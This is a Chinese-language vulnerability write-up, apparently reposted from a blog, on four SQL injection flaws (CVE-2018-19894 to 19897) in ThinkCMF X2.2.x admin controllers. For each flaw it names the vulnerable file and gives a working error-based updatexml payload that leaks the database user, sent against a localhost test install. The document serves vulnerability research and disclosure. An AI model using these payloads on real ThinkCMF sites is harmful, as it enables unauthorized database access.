0x00:漏洞概述
ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发
这些漏洞貌似都是再后台管理员存在的漏洞
测试版本 ThinkCMF x2.2.0
影响版本 参考链接测试版本是 x2.2.2,至少到这个版本
参考链接:https://anquan.baidu.com/article/490
0x01:漏洞测试
(1)CommentadminController.class.php check、delete方法SQL注入(CVE-2018-19894)
漏洞位于/application/Comment/Controller/CommentadminController.class.php的check、delete方法, 以62行为例,$_POST[‘ids‘]参数通过join后,传递到where语句中,但并没有使用where语句的in方法,而是直接拼接到SQL语句中,导致SQL注入。
测试Pyload为
http://127.0.0.1/cmfx/index.php?g=Comment&m=commentadmin&a=check&check=1
POST提交参数:ids[]=1&ids[]=2 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
提交之后,需要登录后台,确实是后台存在的漏洞
(2)NavController.class.php中edit_post方法SQL注入(CVE-2018-19895)
跟进‘application/Admin/Controller/NavController.class.php‘,在文件的186行。‘$parentid‘直接由‘$_POST[‘parentid‘]‘传递进来,随后被直接拼接到where语句中。
测试Payload为
http://127.0.0.1/cmfx/index.php?g=Admin&m=nav&a=edit_post
POST提交数据: parentid=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
(3)SlideController.class.php delete方法SQL注入(CVE-2018-19896)
在application/Admin/Controller/SlideController.class.php的83行,delete方法中,$_POST[‘ids‘]通过implode方法变成字符串,随后直接拼接进入where语句的in子句中。
测试payload:
http://127.0.0.1/cmfx/index.php?g=Admin&m=slide&a=delete
POST提交参数: ids[]=1&ids[]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)
(4)AdminbaseController.class.php中_listorders方法存在SQL注入(CVE-2018-19897)
测试payload:
http://127.0.0.1/cmfx/index.php?g=Admin&m=Link&a=listorders
POST提交参数: listorders[key][0]=exp&listorders[key][1]=0 and updatexml(1, concat(0x7e,user(),0),1)
原文地址:https://www.cnblogs.com/liqik/p/12612316.html